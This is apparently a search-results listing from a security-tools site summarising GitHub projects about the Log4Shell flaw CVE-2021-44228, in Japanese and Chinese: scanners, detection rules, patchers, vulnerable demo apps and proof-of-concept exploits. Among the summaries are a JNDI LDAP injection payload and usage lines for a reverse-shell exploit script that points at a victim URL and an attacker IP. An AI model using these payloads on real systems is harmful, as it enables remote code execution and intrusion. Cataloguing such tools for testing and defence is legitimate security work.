905 matches found
log4fix
log4fix このツールは、log4j log4shell脆弱性(CVE-2021-44228)を検出し修正するためのものです。.jar/.war/.earファイルからJndiLookupクラスを探して除去します。依存関係は一切不要で無料です。 このツールは以下の環境でテストされています: - Linux 32ビットおよび64ビット - Windows 32ビットおよび64ビット - OpenBSD 64ビット このツールはGoプログラミング言語で書かれており、依存関係が一切なく、どこでも動作するスタンドアロンバイナリです。 インストール...
Log4j-JNDIServer
Log4j-JNDIServer このプロジェクトは、Log4jの脆弱性CVE-2021-44228およびCVE-2021-45046をテストするのに役立ちます。 インストールとビルド IntelliJ IDEAでプロジェクトを読み込む 「プロジェクト設定」でJDKを選択 Ctrl + Alt + Shift + S 「プロジェクト設定」でアーティファクトを作成 - 「アーティファクト」 - 「モジュールからJARを作成」 - 「ライブラリからのJARファイル」で「ターゲットJARに抽出」を選択 - 「OK」 プロジェクトをビルド Ctrl +...
chk_log4j
chklog4j - log4j CVE-2021-44228 に対して脆弱な jar ファイルを見つけるツール インストール 1. git clone https://github.com/gcmurphy/chklog4j 2. cd chklog4j && cargo install --path . 使い方 このツールは単一ファイルのみをチェックするため、fd のようなものと組み合わせて使用するのが最適です。 root@kitploit: $ fd -a -e jar -x chklog4j...
Log4j-CVE-2021-44228
Log4j-CVE-2021-44228 Log4j リモートコードインジェクション Apache Log4j 2.x 2.15.0-rc2...
log4j2-CVE-2021-44228
Log4j2 脆弱性サンプルアプリケーション CVE-2021-44228 影響を受けるバージョン: 2.0-beta9 から 2.14.1 までの全バージョン このアプリケーションは、CVE-2021-44228 の脆弱性を持つ Spring Boot Web アプリケーションをベースにしています。 これは Log4j 2.14.1 を使用しています spring-boot-starter-log4j2 2.6.1 経由。 アプリケーションの実行 実行方法: root@kitploit: Import the project in Java IDE as a maven project...
XSYS-Log4J2Shell-Ex
XSYS-Log4J2Shell-Ex CVE-2021-44228 log4j2shell 脆弱性パッチのためのセキュリティ調査の一環としてのPoC 概要 root@kitploit: このリポジトリでは、Log4J 2.17.0 の脆弱性に関する概念実証(PROOF OF CONCEPT)を提供するため、 いくつかのトピックと実装について説明します。 主な目的は、CVE-2021-44228 のパッチを提供し、 ヘッダーおよび/またはボディペイロードを介した JNDI RCE バイパスを確実にすることです。 したがって、 この PoC のために 2 種類のアプリケーションを提供します...
Log4j-CVE-Detect
Log4J-CVE-Detect このリポジトリには、CVE-2021-44228、CVE-2021-45046、または CVE-2021-45105 に対して脆弱な log4j のバージョンを検出するための YARA ルール一式が含まれています。影響を受けるバージョンに現れるいくつかの特徴を探すことで検出を行います。 このツールは、Docker イメージ、システムパッケージ、ファイルシステムイメージ、さらにはインストールメディアなどのバイナリファイルに対して再帰的に動作します。対応しているファイル形式の完全なリストについては、「どのように動作するのか?」のセクションを参照してください。...
log4j2-rce-recap
log4j2 のリモートコード実行 CVE-2021-44228 の簡単なまとめ 必要条件 maven = 3 java = 8 127.0.0.1:1389 で ldap が実行されていないこと 使用方法 maven でビルドします。 root@kitploit: mvn test surefire プラグインは2回実行されます: ExploitabilityTest はバグの悪用可能性を証明します。 MitigationTest は VM プロパティ -Dlog4j2.formatMsgNoLookups=true を指定して実行され、緩和策の有効性を証明します。 要するに log4...
log4j-vulnerability
LOG4J 脆弱性 CVE-2021-44228 の脆弱性を悪用する方法を示す Java ベースのプロジェクトです。 https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4 必要条件 Linux ベースのオペレーティングシステム: 私は Ubuntu Desktop 20.10 64 bits を使用しました。 OpenJDK 17.0.1: 悪用プログラムをビルドするために必要です。新しいバージョンでも動作する可能性があります。 Oracl...
Log4j2-RCE
Log4j2-RCE Log4j2 CVE-2021-44228 の再現とエコーを利用したエクスプロイト...
Log4j-Windows-Scanner
Log4j-Windows-Scanner Apache Log4jライブラリのCVE-2021-44228脆弱性 | Windowsマシン向けLog4j脆弱性スキャナ。 仕組み Cドライブのフォルダをたどって、脆弱なバージョンのlog4jを検出します。 脆弱なファイルが検出されると、出力として「.TXT」ファイルが表示されます。ファイル「log.txt」はスキャンできません。 つまり、権限上の理由でディレクトリにアクセスできないため、その内容を読み取ることができないディレクトリの一覧を表示します。 これらのフォルダを確認してください。管理者権限で実行してください。...
CVE-2021-44228-Apache-Log4j-Rce
CVE-2021-44228Apache Log4j 远程代码执行) 所有 log4j-core 版本 =2.0-beta9 且 不要依赖当前的 Java 版本来拯救你。更新 Log4(或移除 JNDI 查找)。禁用扩展(这无论如何看起来都是个糟糕的主意)。 绕过 rc1 例如: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName...
CVE-2021-44228-poc
CVE-2021-44228-poc CVE-2021-44228 POC / 示例...
CVE-2021-44228
CVE-2021-44228 Log4Shell脆弱性(CVE-2021-44228)の概念実証...
log4j-urlscanner
log4j-detect マルチスレッドを使用して、URLのリストに対して「Log4j」Javaライブラリの脆弱性 CVE-2021-44228 を検出するシンプルなPython 3スクリプト Python 3で開発されたスクリプト「log4j-detect.py」は、指定されたURLのリストがCVE-2021-44228に対して脆弱かどうかを検出します。 そのために、指定されたリスト内の各URLに対してスレッド(高パフォーマンス)を使用してGETリクエストを送信します。GETリクエストには、成功した場合にBurp Collaborator /...
log4j-shell-csw
Log4j シンプルなエクスプロイト CVE-2021-44228 脆弱性に対する概念実証エクスプロイト。 Log4j はセキュリティおよびパフォーマンス情報のログ記録に使用され、Java を使用する様々なコンシューマーおよびエンタープライズサービス、ウェブサイト、アプリケーション、さらには医療機器やサポートシステムにわたる30億以上のデバイスに影響を与えます。 注記: これは「ポイントアンドクリック」のエクスプロイトではありません。初期トリガーペイロードは生成されますが、それを適切な場所(HTTP ヘッダー/チャット/等)に注入するのはユーザーの責任です。 前提条件 python3 p...
Log4j-CVE-2021-44228
Log4j-CVE-2021-44228 Log4j CVE-2021-44228 の脆弱性一括チェック はじめに 実際には、https://github.com/christophetd/log4shell-vulnerable-app の脆弱なアプリケーションを使って検証しました(ライブターゲットを見つけるのが面倒だったので xD)。 ですので、あなたの知識に応じてこのコードを開発・変更しても構いません ; 必要条件 python 3x pip インストール pip install -r requirements.txt 参考資料...
log4j-cve-2021-44228-sample
log4jエクスプロイトの例 このリポジトリには、最近のlog4jエクスプロイトを悪用する動作サンプルが含まれています。実際のリモートコード実行は行いませんが、悪意のある攻撃者が脆弱なアプリケーションに自身のLDAPサーバへのコールを簡単に仕掛けられることを示しています。 このサンプルは、christophetd氏の優れたlog4j脆弱性アプリを利用しています: https://github.com/christophetd/log4shell-vulnerable-app 解説...
Log4j-PoC
Log4j(CVE-2021-44228)の概念実証 免責事項 このプロジェクトは教育目的のみです。 はじめに これは HyCraftHD から流用した log4j RCE の概念実証です。 CVE-2021-44228 に関するリンクは以下の通りです: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...
Log4j2-CVE-2021-44228-revshell
Log4j2-CVE-2021-44228-revshell 使用方法 root@kitploit: リバースシェル用: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort 脆弱性確認用: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort $...